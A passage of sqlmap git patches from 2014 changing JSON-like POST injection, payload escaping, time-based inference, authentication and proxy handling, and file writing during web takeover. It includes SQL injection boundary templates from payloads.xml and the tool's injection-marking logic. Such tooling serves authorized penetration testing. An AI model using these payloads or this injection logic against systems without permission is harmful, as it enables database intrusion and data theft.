extractRegexResult(r"(?s)(?P[^']+\Z)", origValue) else: _ = extractRegexResult(r"(?s)(?P[^\s<>{}();'\"]+\Z)", origValue) or "" origValue = _.split('=', 1)[1] if '=' in _ else "" @@ -142,6 +144,8 @@ class Agent(object): _ = "%s%s" % (origValue, CUSTOM_INJECTION_MARK_CHAR) if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and not '"%s"' % _ in paramString: newValue = '"%s"' % newValue + elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and not "'%s'" % _ in paramString: + newValue = "'%s'" % newValue newValue = newValue.replace(CUSTOM_INJECTION_MARK_CHAR, REPLACEMENT_MARKER) retVal = paramString.replace(_, self.addPayloadDelimiters(newValue)) retVal = retVal.replace(CUSTOM_INJECTION_MARK_CHAR, "").replace(REPLACEMENT_MARKER, CUSTOM_INJECTION_MARK_CHAR) diff --git a/lib/core/dicts.py b/lib/core/dicts.py index a720bf51d..0641f22c2 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -203,6 +203,7 @@ SQL_STATEMENTS = { POST_HINT_CONTENT_TYPES = { POST_HINT.JSON: "application/json", + POST_HINT.JSON_LIKE: "application/json", POST_HINT.MULTIPART: "multipart/form-data", POST_HINT.SOAP: "application/soap+xml", POST_HINT.XML: "application/xml", diff --git a/lib/core/enums.py b/lib/core/enums.py index bf3785197..53fce1aff 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -71,6 +71,7 @@ class PLACE: class POST_HINT: SOAP = "SOAP" JSON = "JSON" + JSON_LIKE = "JSON-like" MULTIPART = "MULTIPART" XML = "XML (generic)" diff --git a/lib/core/settings.py b/lib/core/settings.py index fb5a513b6..51c7e1e19 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -541,6 +541,9 @@ SOAP_RECOGNITION_REGEX = r"(?s)\A(<\?xml[^>]+>)?\s*<([^> ]+)( [^>]+)?>.+\ # Regular expression used for detecting JSON POST data JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]+"|\d+).*\}\s*(\]\s*)*\Z' +# Regular expression used for detecting JSON-like POST data +JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*'[^']+'\s*:\s*('[^']+'|\d+).*\}\s*(\]\s*)*\Z" + # Regular expression used for detecting multipart POST data MULTIPART_RECOGNITION_REGEX = r"(?i)Content-Disposition:[^;]+;\s*name=" diff --git a/lib/core/target.py b/lib/core/target.py index 6d111c296..997111aac 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -44,6 +44,7 @@ from lib.core.settings import ASTERISK_MARKER from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import HOST_ALIASES from lib.core.settings import JSON_RECOGNITION_REGEX +from lib.core.settings import JSON_LIKE_RECOGNITION_REGEX from lib.core.settings import MULTIPART_RECOGNITION_REGEX from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS from lib.core.settings import REFERER_ALIASES @@ -125,6 +126,18 @@ def _setRequestParams(): conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*)(-?\d[\d\.]*\b)', functools.partial(process, repl=r'\g<0>%s' % CUSTOM_INJECTION_MARK_CHAR), conf.data) kb.postHint = POST_HINT.JSON + elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data): + message = "JSON-like data found in %s data. " % conf.method + message += "Do you want to process it? [Y/n/q] " + test = readInput(message, default="Y") + if test and test[0] in ("q", "Q"): + raise SqlmapUserQuitException + elif test[0] not in ("n", "N"): + conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER) + conf.data = re.sub(r"('(?P[^']+)'\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % CUSTOM_INJECTION_MARK_CHAR), conf.data) + conf.data = re.sub(r"('(?P[^']+)'\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % CUSTOM_INJECTION_MARK_CHAR), conf.data) + kb.postHint = POST_HINT.JSON_LIKE + elif re.search(SOAP_RECOGNITION_REGEX, conf.data): message = "SOAP/XML data found in %s data. " % conf.method message += "Do you want to process it? [Y/n/q] " diff --git a/lib/request/connect.py b/lib/request/connect.py index 97afafba5..cdf929d2c 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -658,6 +658,11 @@ class Connect(object): payload = json.dumps(payload[1:-1]) else: payload = json.dumps(payload)[1:-1] + elif kb.postHint == POST_HINT.JSON_LIKE: + if payload.startswith("'") and payload.endswith("'"): + payload = json.dumps(payload[1:-1]) + else: + payload = json.dumps(payload)[1:-1] value = agent.replacePayload(value, payload) else: # GET, POST, URI and Cookie payload needs to be throughly URL encoded From cc62a8adc9a72234ee683fe929ce694f860abfc4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 26 Feb 2014 09:30:37 +0100 Subject: [PATCH 214/889] Bug fix for JSON-like data (proper escaping of quotes) --- lib/request/connect.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/request/connect.py b/lib/request/connect.py index cdf929d2c..62caacc21 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -80,6 +80,7 @@ from lib.core.settings import LARGE_CHUNK_TRIM_MARKER from lib.core.settings import PAYLOAD_DELIMITER from lib.core.settings import PERMISSION_DENIED_REGEX from lib.core.settings import PLAIN_TEXT_CONTENT_TYPE +from lib.core.settings import REPLACEMENT_MARKER from lib.core.settings import UNENCODED_ORIGINAL_VALUE from lib.core.settings import URI_HTTP_HEADER from lib.core.settings import WARN_TIME_STDEV @@ -659,10 +660,12 @@ class Connect(object): else: payload = json.dumps(payload)[1:-1] elif kb.postHint == POST_HINT.JSON_LIKE: - if payload.startswith("'") and payload.endswith("'"): + payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"') + if payload.startswith('"') and payload.endswith('"'): payload = json.dumps(payload[1:-1]) else: payload = json.dumps(payload)[1:-1] + payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"') value = agent.replacePayload(value, payload) else: # GET, POST, URI and Cookie payload needs to be throughly URL encoded From 2ffdee57331f1fff74fb08e7ff42b3aa16639767 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 26 Feb 2014 11:41:48 +0100 Subject: [PATCH 215/889] Bug fix for PAYLOAD.WHERE.REPLACE payloads containing custom injection marker ([ORIGVALUE] was screwed) --- lib/controller/checks.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 99b4b70b2..ffdcd19ae 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -253,7 +253,7 @@ def checkSqlInjection(place, parameter, value): # Parse test's comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None - fstPayload = agent.cleanupPayload(test.request.payload, origValue=value) + fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None) # Favoring non-string specific boundaries in case of digit-like parameter values if value.isdigit(): @@ -359,13 +359,13 @@ def checkSqlInjection(place, parameter, value): # payload was successful # Parse test's for method, check in test.response.items(): - check = agent.cleanupPayload(check, origValue=value) + check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None) # In case of boolean-based blind SQL injection if method == PAYLOAD.METHOD.COMPARISON: # Generate payload used for comparison def genCmpPayload(): - sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value) + sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None) # Forge response payload by prepending with # boundary's prefix and appending the boundary's From 291a0d772a70cf5b5065b0b16779216c85992644 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 27 Feb 2014 14:23:14 +0100 Subject: [PATCH 216/889] Update for an Issue #615 --- lib/core/common.py | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index bfd0e2713..ebdb5e165 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -295,10 +295,14 @@ class Backend: # Little precaution, in theory this condition should always be false elif kb.dbms is not None and kb.dbms != dbms: - msg = "sqlmap previously fingerprinted back-end DBMS " + warnMsg = "there seems to be a high probability that " + warnMsg += "this could be a false positive case" + logger.warn(warnMsg) + + msg = "sqlmap previously fingerprinted back-end DBMS as " msg += "%s. However now it has been fingerprinted " % kb.dbms - msg += "to be %s. " % dbms - msg += "Please, specify which DBMS is " + msg += "as %s. " % dbms + msg += "Please, specify which DBMS should be " msg += "correct [%s (default)/%s] " % (kb.dbms, dbms) while True: From 07a22070d86244b0fc48ce0b09e693e554f30687 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Thu, 27 Feb 2014 15:02:33 +0000 Subject: [PATCH 217/889] updated signatures for test environment --- xml/livetests.xml | 64 +++++++++++++++++++++++++++-------------------- 1 file changed, 37 insertions(+), 27 deletions(-) diff --git a/xml/livetests.xml b/xml/livetests.xml index 466218ecc..792f866b1 100644 --- a/xml/livetests.xml +++ b/xml/livetests.xml @@ -62,7 +62,7 @@ - + @@ -106,7 +106,7 @@ - + @@ -150,7 +150,7 @@ - + @@ -194,7 +194,7 @@ - + @@ -220,7 +220,7 @@ - + @@ -252,7 +252,7 @@ - + @@ -780,6 +780,7 @@ + @@ -991,6 +993,7 @@ + @@ -1409,6 +1413,7 @@ + @@ -2727,6 +2733,7 @@ + @@ -3026,6 +3034,7 @@ + @@ -3301,7 +3311,7 @@ - + @@ -3337,7 +3347,7 @@ - + @@ -3395,7 +3405,7 @@ - + @@ -3410,7 +3420,7 @@ - + @@ -3426,7 +3436,7 @@ - + @@ -3438,7 +3448,7 @@ - + @@ -3450,7 +3460,7 @@ - + @@ -3464,7 +3474,7 @@ - + @@ -3477,7 +3487,7 @@ - + @@ -3510,7 +3520,7 @@ - + @@ -3534,7 +3544,7 @@ - + @@ -3546,7 +3556,7 @@ - + @@ -3558,7 +3568,7 @@ - + @@ -3571,7 +3581,7 @@ - + @@ -3583,7 +3593,7 @@ - + @@ -3595,7 +3605,7 @@ - + @@ -3605,10 +3615,10 @@ From 490d51258edc74ea87ed1e64557ffc106cf5f62e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 3 Mar 2014 20:49:58 +0100 Subject: [PATCH 218/889] Raising number of minimum time responses (15 is statistically too low) --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 51c7e1e19..aa14734c0 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -106,7 +106,7 @@ MAX_BUFFERED_PARTIAL_UNION_LENGTH = 1024 METADB_SUFFIX = "_masterdb" # Minimum time response set needed for time-comparison based on standard deviation -MIN_TIME_RESPONSES = 15 +MIN_TIME_RESPONSES = 30 # Minimum comparison ratio set needed for searching valid union column number based on standard deviation MIN_UNION_RESPONSES = 5 From f1f53a5841ac839f9a70abf8e44d2677a7ec1855 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 6 Mar 2014 21:08:31 +0100 Subject: [PATCH 219/889] Minor cosmetic update --- lib/request/connect.py | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) diff --git a/lib/request/connect.py b/lib/request/connect.py index 62caacc21..a20cdb11e 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -14,6 +14,7 @@ import string import time import urllib2 import urlparse +import time import traceback from extra.safe2bin.safe2bin import safecharencode @@ -22,6 +23,7 @@ from lib.core.common import asciifyUrl from lib.core.common import calculateDeltaSeconds from lib.core.common import clearConsoleLine from lib.core.common import cpuThrottle +from lib.core.common import dataToStdout from lib.core.common import evaluateCode from lib.core.common import extractRegexResult from lib.core.common import findMultipartPostBoundary @@ -825,16 +827,20 @@ class Connect(object): warnMsg += "time-based injections because of its high latency time" singleTimeWarnMessage(warnMsg) - warnMsg = "time-based comparison needs larger statistical " - warnMsg += "model. Making a few dummy requests, please wait.." - singleTimeWarnMessage(warnMsg) + warnMsg = "[%s] [WARNING] time-based comparison requires " % time.strftime("%X") + warnMsg += "larger statistical model, please wait" + dataToStdout(warnMsg) while len(kb.responseTimes) < MIN_TIME_RESPONSES: Connect.queryPage(content=True) + dataToStdout('.') + + dataToStdout("\n") elif not kb.testMode: - warnMsg = "it is very important not to stress the network adapter's " - warnMsg += "bandwidth during usage of time-based payloads" + warnMsg = "it is very important not to stress the network adapter " + warnMsg += "during usage of time-based payloads to prevent potential " + warnMsg += "errors " singleTimeWarnMessage(warnMsg) if not kb.laggingChecked: From fca57da1cf20a6a4ea08197b0ca231cadbb39777 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 7 Mar 2014 15:57:41 +0100 Subject: [PATCH 220/889] Fix for --tables on HSQLDB --- plugins/generic/databases.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 647767c74..1c2d2fbb9 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -331,6 +331,8 @@ class Databases: query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ") elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): query = rootQuery.blind.query % index + elif Backend.isDbms(DBMS.HSQLDB): + query = rootQuery.blind.query % (index, unsafeSQLIdentificatorNaming(db)) else: query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(db), index) From d1a6a775f11bad45f986cbbdf8f493817c4fe247 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 11 Mar 2014 21:00:15 +0100 Subject: [PATCH 221/889] Patch for an Issue #636 --- lib/techniques/blind/inference.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 68741be22..1950d78a0 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -5,6 +5,7 @@ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ +import re import threading import time @@ -254,7 +255,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None position = (len(charTbl) >> 1) posValue = charTbl[position] - if CHAR_INFERENCE_MARK not in payload: + if not re.search(r"%s\b" % CHAR_INFERENCE_MARK, payload): forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue)) else: # e.g.: ... > '%c' -> ... > ORD(..) From 2f8846caec155ef68dac9696b23d064ba827ee87 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 11 Mar 2014 21:11:51 +0100 Subject: [PATCH 222/889] Fix for an Issue #636 --- lib/techniques/blind/inference.py | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 1950d78a0..a56a4ece1 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -5,7 +5,6 @@ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ -import re import threading import time @@ -199,7 +198,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None value are not equal there will be a deliberate delay). """ - if CHAR_INFERENCE_MARK not in payload: + if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx, value)) else: # e.g.: ... > '%c' -> ... > ORD(..) @@ -255,7 +254,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None position = (len(charTbl) >> 1) posValue = charTbl[position] - if not re.search(r"%s\b" % CHAR_INFERENCE_MARK, payload): + if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue)) else: # e.g.: ... > '%c' -> ... > ORD(..) From 17742df0faca68684a5a8c60dcf8bcada2c5db27 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 11 Mar 2014 21:18:31 +0100 Subject: [PATCH 223/889] Update for an Issue #636 (to prevent eventual future reports with lack of stack trace) --- lib/core/common.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index ebdb5e165..719afd99a 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1498,7 +1498,7 @@ def safeStringFormat(format_, params): if count < len(params): retVal = retVal[:index] + getUnicode(params[count]) + retVal[index + 2:] else: - raise SqlmapNoneDataException("wrong number of parameters during string formatting") + raise Exception("wrong number of parameters during string formatting") count += 1 return retVal From ae36c08f12aa578cb93b59cc14615a9fee1875d9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 13 Mar 2014 10:05:56 +0100 Subject: [PATCH 224/889] Updating server signatures --- xml/banner/server.xml | 49 +++++++++++++++++++++++++++++++++++-------- 1 file changed, 40 insertions(+), 9 deletions(-) diff --git a/xml/banner/server.xml b/xml/banner/server.xml index 634f4f767..bb0b11f59 100644 --- a/xml/banner/server.xml +++ b/xml/banner/server.xml @@ -2,8 +2,7 @@ @@ -79,11 +78,11 @@ - + - + @@ -144,6 +143,10 @@ + + + + @@ -234,6 +237,18 @@ + + + + + + + + + + + + @@ -328,6 +343,10 @@ + + + + @@ -434,10 +453,6 @@ - - - - @@ -508,6 +523,10 @@ + + + + @@ -615,6 +634,14 @@ + + + + + + + + @@ -674,7 +701,11 @@ - + + + + + From be3fd8bb29606320c9c049667159724b5a280cc2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 14 Mar 2014 16:44:56 +0100 Subject: [PATCH 225/889] Fix for an Issue #638 --- lib/request/templates.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/request/templates.py b/lib/request/templates.py index b276132c8..395ef67dc 100644 --- a/lib/request/templates.py +++ b/lib/request/templates.py @@ -13,7 +13,7 @@ def getPageTemplate(payload, place): if payload and place: if (payload, place) not in kb.pageTemplates: - page, _ = Request.queryPage(payload, place, content=True) + page, _ = Request.queryPage(payload, place, content=True, raise404=False) kb.pageTemplates[(payload, place)] = (page, kb.lastParserStatus is None) retVal = kb.pageTemplates[(payload, place)] From 56d76e6bfdb29968af352e2bf960b5ab257daa9a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 14 Mar 2014 21:34:16 +0100 Subject: [PATCH 226/889] Updating list of extensions to exclude from crawling --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index aa14734c0..f5b9698cd 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -392,7 +392,7 @@ DUMMY_SQL_INJECTION_CHARS = ";()'" DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b" # Extensions skipped by crawler -CRAWL_EXCLUDE_EXTENSIONS = ("gif", "jpg", "jpeg", "image", "jar", "tif", "bmp", "war", "ear", "mpg", "mpeg", "wmv", "mpeg", "scm", "iso", "dmp", "dll", "cab", "so", "avi", "mkv", "bin", "iso", "tar", "png", "pdf", "ps", "wav", "mp3", "mp4", "au", "aiff", "aac", "zip", "rar", "7z", "gz", "flv", "mov") +CRAWL_EXCLUDE_EXTENSIONS = ("gif", "jpg", "jpeg", "image", "jar", "tif", "bmp", "war", "ear", "mpg", "mpeg", "wmv", "mpeg", "scm", "iso", "dmp", "dll", "cab", "so", "avi", "mkv", "bin", "iso", "tar", "png", "pdf", "ps", "wav", "mp3", "mp4", "au", "aiff", "aac", "zip", "rar", "7z", "gz", "flv", "mov", "doc", "docx", "xls", "dot", "dotx", "xlt", "xlsx", "ppt", "pps", "pptx") # Patterns often seen in HTTP headers containing custom injection marking character PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;']+)|(\*/\*)" From 3b47418a1d062a46dad00ba758bedd7a097ff05e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 14 Mar 2014 22:20:20 +0100 Subject: [PATCH 227/889] Fix for an Issue #640 --- lib/controller/checks.py | 2 ++ lib/core/option.py | 2 +- 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index ffdcd19ae..da5deb47a 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1210,6 +1210,8 @@ def checkConnection(suppressOutput=False): logger.info(infoMsg) try: + Request.queryPage(content=True, noteResponseTime=False) # dropping first page because it can be totally different than subsequent (e.g. WebGoat) before the Cookie is set up + page, _ = Request.queryPage(content=True, noteResponseTime=False) kb.originalPage = kb.pageTemplate = page diff --git a/lib/core/option.py b/lib/core/option.py index f3183c5c8..bcd48738e 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1116,7 +1116,7 @@ def _setAuthCred(): """ if kb.passwordMgr: - kb.passwordMgr.add_password(None, "%s://%s" % (conf.scheme, conf.hostname), conf.authUsername, conf.authPassword) + kb.passwordMgr.add_password(None, "%s://%s:%d" % (conf.scheme, conf.hostname, conf.port), conf.authUsername, conf.authPassword) def _setHTTPAuthentication(): """ From 0622cdf3d8e769e48fd1ba45085374d16f2b6f42 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 15 Mar 2014 09:29:21 +0100 Subject: [PATCH 228/889] Bug fix (credentials used in combination with request file) --- lib/core/option.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index bcd48738e..bd89c64ce 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1115,7 +1115,7 @@ def _setAuthCred(): (used by connection handler) """ - if kb.passwordMgr: + if kb.passwordMgr and all(_ is not None for _ in (conf.scheme, conf.hostname, conf.port, conf.authUsername, conf.authPassword)): kb.passwordMgr.add_password(None, "%s://%s:%d" % (conf.scheme, conf.hostname, conf.port), conf.authUsername, conf.authPassword) def _setHTTPAuthentication(): From 97f603af4aa4b264d659e44957a0a3e90af9bfbc Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 17 Mar 2014 20:20:25 +0100 Subject: [PATCH 229/889] Fix for an Issue #641 --- lib/core/agent.py | 5 +---- xml/payloads.xml | 50 +++++++++++++++++++++++------------------------ 2 files changed, 26 insertions(+), 29 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index d34a40d2c..90fdb80b4 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -238,10 +238,7 @@ class Agent(object): pass elif suffix and not comment: - if suffix.startswith(GENERIC_SQL_COMMENT): - expression += "%s" % suffix - else: - expression += " %s" % suffix + expression += suffix return re.sub(r"(?s);\W*;", ";", expression) diff --git a/xml/payloads.xml b/xml/payloads.xml index 7b7e19d43..89036aa0b 100644 --- a/xml/payloads.xml +++ b/xml/payloads.xml @@ -274,7 +274,7 @@ Formats: 1,2 1 ) - AND ([RANDNUM]=[RANDNUM] + AND ([RANDNUM]=[RANDNUM] @@ -283,7 +283,7 @@ Formats: 1,2 1 )) - AND (([RANDNUM]=[RANDNUM] + AND (([RANDNUM]=[RANDNUM] @@ -292,7 +292,7 @@ Formats: 1,2 1 ))) - AND ((([RANDNUM]=[RANDNUM] + AND ((([RANDNUM]=[RANDNUM] @@ -310,7 +310,7 @@ Formats: 1,2 2 ') - AND ('[RANDSTR]'='[RANDSTR] + AND ('[RANDSTR]'='[RANDSTR] @@ -319,7 +319,7 @@ Formats: 1,2 2 ')) - AND (('[RANDSTR]'='[RANDSTR] + AND (('[RANDSTR]'='[RANDSTR] @@ -328,7 +328,7 @@ Formats: 1,2 2 '))) - AND ((('[RANDSTR]'='[RANDSTR] + AND ((('[RANDSTR]'='[RANDSTR] @@ -337,7 +337,7 @@ Formats: 1,2 2 ' - AND '[RANDSTR]'='[RANDSTR] + AND '[RANDSTR]'='[RANDSTR] @@ -346,7 +346,7 @@ Formats: 1,2 3 ') - AND ('[RANDSTR]' LIKE '[RANDSTR] + AND ('[RANDSTR]' LIKE '[RANDSTR] @@ -355,7 +355,7 @@ Formats: 1,2 3 ')) - AND (('[RANDSTR]' LIKE '[RANDSTR] + AND (('[RANDSTR]' LIKE '[RANDSTR] @@ -364,7 +364,7 @@ Formats: 1,2 3 '))) - AND ((('[RANDSTR]' LIKE '[RANDSTR] + AND ((('[RANDSTR]' LIKE '[RANDSTR] @@ -373,7 +373,7 @@ Formats: 1,2 3 ' - AND '[RANDSTR]' LIKE '[RANDSTR] + AND '[RANDSTR]' LIKE '[RANDSTR] @@ -382,7 +382,7 @@ Formats: 1,2 4 ") - AND ("[RANDSTR]"="[RANDSTR] + AND ("[RANDSTR]"="[RANDSTR] @@ -391,7 +391,7 @@ Formats: 1,2 4 ")) - AND (("[RANDSTR]"="[RANDSTR] + AND (("[RANDSTR]"="[RANDSTR] @@ -400,7 +400,7 @@ Formats: 1,2 4 "))) - AND ((("[RANDSTR]"="[RANDSTR] + AND ((("[RANDSTR]"="[RANDSTR] @@ -409,7 +409,7 @@ Formats: 1,2 4 " - AND "[RANDSTR]"="[RANDSTR] + AND "[RANDSTR]"="[RANDSTR] @@ -418,7 +418,7 @@ Formats: 1,2 5 ") - AND ("[RANDSTR]" LIKE "[RANDSTR] + AND ("[RANDSTR]" LIKE "[RANDSTR] @@ -427,7 +427,7 @@ Formats: 1,2 5 ")) - AND (("[RANDSTR]" LIKE "[RANDSTR] + AND (("[RANDSTR]" LIKE "[RANDSTR] @@ -436,7 +436,7 @@ Formats: 1,2 5 "))) - AND ((("[RANDSTR]" LIKE "[RANDSTR] + AND ((("[RANDSTR]" LIKE "[RANDSTR] @@ -445,7 +445,7 @@ Formats: 1,2 5 " - AND "[RANDSTR]" LIKE "[RANDSTR] + AND "[RANDSTR]" LIKE "[RANDSTR] @@ -454,7 +454,7 @@ Formats: 1,2 2 %') - AND ('%'=' + AND ('%'=' @@ -463,7 +463,7 @@ Formats: 1,2 2 %')) - AND (('%'=' + AND (('%'=' @@ -472,7 +472,7 @@ Formats: 1,2 2 %'))) - AND ((('%'=' + AND ((('%'=' @@ -481,7 +481,7 @@ Formats: 1,2 2 %' - AND '%'=' + AND '%'=' @@ -490,7 +490,7 @@ Formats: 1,2 2 %00') - AND ('[RANDSTR]'='[RANDSTR] + AND ('[RANDSTR]'='[RANDSTR] @@ -499,7 +499,7 @@ Formats: 1,2 2 %00' - AND '[RANDSTR]'='[RANDSTR] + AND '[RANDSTR]'='[RANDSTR] From 97fe5e52c29228b022c8b9c79742039fc02ef3e1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 18 Mar 2014 16:41:05 +0100 Subject: [PATCH 230/889] Fix for an Issue #644 --- lib/core/option.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/lib/core/option.py b/lib/core/option.py index bd89c64ce..b7f59e216 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1000,6 +1000,10 @@ def _setHTTPProxy(): """ global proxyHandler + for _ in ("http", "https"): + if hasattr(proxyHandler, "%s_open" % _): + delattr(proxyHandler, "%s_open" % _) + if not conf.proxy: if conf.proxyList: conf.proxy = conf.proxyList[0] From d7f0da55993d8f89e54fb36135dc9a86bb216662 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 20 Mar 2014 13:08:28 +0100 Subject: [PATCH 231/889] Minor patch for an Issue #646 --- lib/core/common.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index 719afd99a..10eb6514b 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1192,7 +1192,7 @@ def parseTargetUrl(): conf.hostname = hostnamePort[0].strip() conf.ipv6 = conf.hostname != conf.hostname.strip("[]") - conf.hostname = conf.hostname.strip("[]") + conf.hostname = conf.hostname.strip("[]").replace(CUSTOM_INJECTION_MARK_CHAR, "") try: _ = conf.hostname.encode("idna") From 39ab3b914956d09161ec2f13e8762f6e5951d605 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 20 Mar 2014 13:13:47 +0100 Subject: [PATCH 232/889] Minor fix for meta refresh --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index f5b9698cd..f6f05ad4c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -248,7 +248,7 @@ ERROR_PARSING_REGEXES = ( META_CHARSET_REGEX = r'(?si).*]+charset=(?P[^">]+).*' # Regular expression used for parsing refresh info from meta html headers -META_REFRESH_REGEX = r'(?si).*]+content="?[^">]+url=(?P[^">]+).*' +META_REFRESH_REGEX = r'(?si).*]+content="?[^">]+url=["\']?(?P[^\'">]+).*' # Regular expression used for parsing empty fields in tested form data EMPTY_FORM_FIELDS_REGEX = r'(&|\A)(?P[^=]+=(&|\Z))' From c211255773116309b2a4b09ad919fa3c3e820497 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Fri, 21 Mar 2014 11:01:57 +0000 Subject: [PATCH 233/889] replaced outfile with dumpfile so works even if the original statement outputs blob --- lib/takeover/web.py | 6 +++--- procs/mysql/write_file_limit.sql | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git 